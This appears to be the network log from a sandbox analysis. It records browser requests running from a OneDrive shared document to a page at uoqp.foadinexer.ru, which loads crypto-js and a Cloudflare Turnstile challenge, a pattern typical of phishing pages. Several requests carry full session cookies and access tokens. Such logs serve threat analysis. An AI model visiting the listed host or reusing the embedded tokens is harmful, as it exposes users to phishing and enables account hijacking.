Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9 HTTP/1.1Host: 1drv.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /:w:/g/personal/17CC1E7B64547FA0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?resid=17CC1E7B64547FA0!s05c82e1eb602468f91f67f4b0fb8fcd0&ithint=file%2cdocx&e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05 HTTP/1.1Host: onedrive.live.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05&slrid=24886ea1-70e2-7000-1508-6a946bae7d0b&originalPath=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_cnRpbWU9S29nS2F0b2UzVWc&CID=dffede72-4382-4548-a4e8-d3b7d7a6a9d1&_SRM=0:G:33 HTTP/1.1Host: onedrive.live.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5iZFk2SUxCVzdOd0ttbWxVeU1vdG1WZk9zZTRrc1p2ZHhwUy9qRm9SaUhZc3ROT0hmNzZ0TmdRajNZYmpmQWFDajFPcEp2MlE3MmViUWJZaER6YW80K1g5SFBoLzc2U0w5Zz09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /personal/17cc1e7b64547fa0/_api/v2.1/drives/b!jYXwmShw9UmJq8i_PjoekfvN232NuhNAvOZijfCiH_SuXF6pgvCvT56vRvtsTJbX/items/01CDPN6UI6F3EAKAVWR5DJD5T7JMH3R7GQ/streams/content_preview_Op1.img/streamContent?tempauth=v1e.eyJzaXRlaWQiOiI5OWYwODU4ZC03MDI4LTQ5ZjUtODlhYi1jOGJmM2UzYTFlOTEiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvb25lZHJpdmUubGl2ZS5jb21AOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkIiwiZXhwIjoiMTczNDg5NjE2MCJ9.-HPRGMgdEbPfX1gb4pvrWYijdsAkVX_ZA5-OnQQYSUUfetmSHrh70J9dY7OseRMAZVeancIfkQk_NnscPaGDrA7KXn3q0lkLHkbGw23I3aVIqxuMY42DeOiFqJyF5Axyy1Lqh-FU5KlsJ6EMTcQree_8phJ0l9wIoONDC3QlJPg7hlAKEmV80OCggqUuUxM-RHJjm5vuoitYJCFs7I6zRYvWVyjaiGJYRJqPzC6Y26J-1DZBkMtdYS4XQXohFC5oQrb6YPsTmXPMJ9Cjf11A7Fe4U5yYtt0SUUgUvOhMgZY7wknBIDQE5NJ-eGL4izKnyZ2NdsZLmN3npWLLXZUsMpOTyqwzImW8A0JIYNTXLIkAGeRErXUzVpv00QLqxrp1WOBS11jXLvYOeT7AogyOgu69-7Imdf4ugDAXnN5LfGN6KHeQPGkeI3xxhIcJ94mAf0XH2nsLhifyPGHOeiAXqnV9xXP2Ww3YsV2tkVxyb9JKfceKO1Wjgc2RaictKmPMM5e_mZ_9lGeLpnQlr02YVdO0TeQXIlswvIlkI8toK_s.4wHNydaHButF87W0IMnCoR2V83avYpAi7N1DE3BOuvY&usecachedssr=1&prefetchSSRCorrelationId=28886ea1-00ac-7000-62cb-bb8bcc0c0658 HTTP/1.1Host: onedrive.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05&slrid=24886ea1-70e2-7000-1508-6a946bae7d0b&originalPath=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_cnRpbWU9S29nS2F0b2UzVWc&CID=dffede72-4382-4548-a4e8-d3b7d7a6a9d1&_SRM=0:G:33Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVF
Source: global traffic	HTTP traffic detected: GET /personal/17cc1e7b64547fa0/_api/v2.1/drives/b!jYXwmShw9UmJq8i_PjoekfvN232NuhNAvOZijfCiH_SuXF6pgvCvT56vRvtsTJbX/items/01CDPN6UI6F3EAKAVWR5DJD5T7JMH3R7GQ/streams/content_preview_Op1.img/streamContent?tempauth=v1e.eyJzaXRlaWQiOiI5OWYwODU4ZC03MDI4LTQ5ZjUtODlhYi1jOGJmM2UzYTFlOTEiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvb25lZHJpdmUubGl2ZS5jb21AOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkIiwiZXhwIjoiMTczNDg5NjE2MCJ9.-HPRGMgdEbPfX1gb4pvrWYijdsAkVX_ZA5-OnQQYSUUfetmSHrh70J9dY7OseRMAZVeancIfkQk_NnscPaGDrA7KXn3q0lkLHkbGw23I3aVIqxuMY42DeOiFqJyF5Axyy1Lqh-FU5KlsJ6EMTcQree_8phJ0l9wIoONDC3QlJPg7hlAKEmV80OCggqUuUxM-RHJjm5vuoitYJCFs7I6zRYvWVyjaiGJYRJqPzC6Y26J-1DZBkMtdYS4XQXohFC5oQrb6YPsTmXPMJ9Cjf11A7Fe4U5yYtt0SUUgUvOhMgZY7wknBIDQE5NJ-eGL4izKnyZ2NdsZLmN3npWLLXZUsMpOTyqwzImW8A0JIYNTXLIkAGeRErXUzVpv00QLqxrp1WOBS11jXLvYOeT7AogyOgu69-7Imdf4ugDAXnN5LfGN6KHeQPGkeI3xxhIcJ94mAf0XH2nsLhifyPGHOeiAXqnV9xXP2Ww3YsV2tkVxyb9JKfceKO1Wjgc2RaictKmPMM5e_mZ_9lGeLpnQlr02YVdO0TeQXIlswvIlkI8toK_s.4wHNydaHButF87W0IMnCoR2V83avYpAi7N1DE3BOuvY&usecachedssr=1&prefetchSSRCorrelationId=28886ea1-00ac-7000-62cb-bb8bcc0c0658 HTTP/1.1Host: onedrive.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5iZFk2SUxCVzdOd0ttbWxVeU1vdG1WZk9zZTRrc1p2ZHhwUy9qRm9SaUhZc3ROT0hmNzZ0TmdRajNZYmpmQWFDajFPcEp2MlE3MmViUWJZaER6YW80K1g5SFBoLzc2U0w5Zz09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /suite/RemoteTelemetry.ashx?usid=497469c3-ba91-75a0-fd3e-4a5b1cb2babd HTTP/1.1Host: common.online.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Kkw5r3/ HTTP/1.1Host: uoqp.foadinexer.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://uoqp.foadinexer.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://uoqp.foadinexer.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://uoqp.foadinexer.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://uoqp.foadinexer.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/seouv/0x4AAAAAAA1mDBaSGFMJzcle/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://uoqp.foadinexer.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f39b5252dda42bf&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/seouv/0x4AAAAAAA1mDBaSGFMJzcle/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/seouv/0x4AAAAAAA1mDBaSGFMJzcle/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: uoqp.foadinexer.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://uoqp.foadinexer.ru/Kkw5r3/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRaOWdYU2tNeEltM1dGa2syY1ExcUE9PSIsInZhbHVlIjoic25iQ1dPOEdTQlBQNUl6Tjk4dkVsR3lzZHU2RzN1ekkrbkxRUHVJM0w3S09CUGVoNmhwZVpzTStiWkE1ZElhKzA3ZXhVRytxNVZvN2Q0aUIramQ5TTZVcXVIYUZUSDRvQk1SUlBxUVZrOEV0dFk2MHcwS1BTeFdQMVJHRFFNODQiLCJtYWMiOiJhNGU3MWUyZTk5NGUxNDhmMTAxMTk1MTBkZjNmMmZjMDc1OGNjZTJhYWY0N2MyMmFmYWU3YmRlZDVlN2E4NjA0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9mR2UwTnZocjlVbVYyV3ZFbytrVFE9PSIsInZhbHVlIjoiYndDaFdvbnZ1UDF6SkVxTk1KNFZXbHVXV3FVNUtsT20rQ3VvVGhiKzRzc1UzQUxlTjUvUkY4cnpqdGpNQ1pQYW02OU9wYU9OS2tyRHZYbHdSZUFxdFVJYWExNjRnYjNWdi9aK3lOclBmbVBqWDBhUkdMN3hhazR5M25Pa0VJcWoiLCJtYWMiOiJmZTE0YjdkNGE3ZmFhZTc4MGM3YWIzMGYxZWEyZjZkYzNkNDY0YTEzNDRlNjc4NDJlZWY5OWRlZmU4NTU3MzE1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f39b5252dda42bf&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
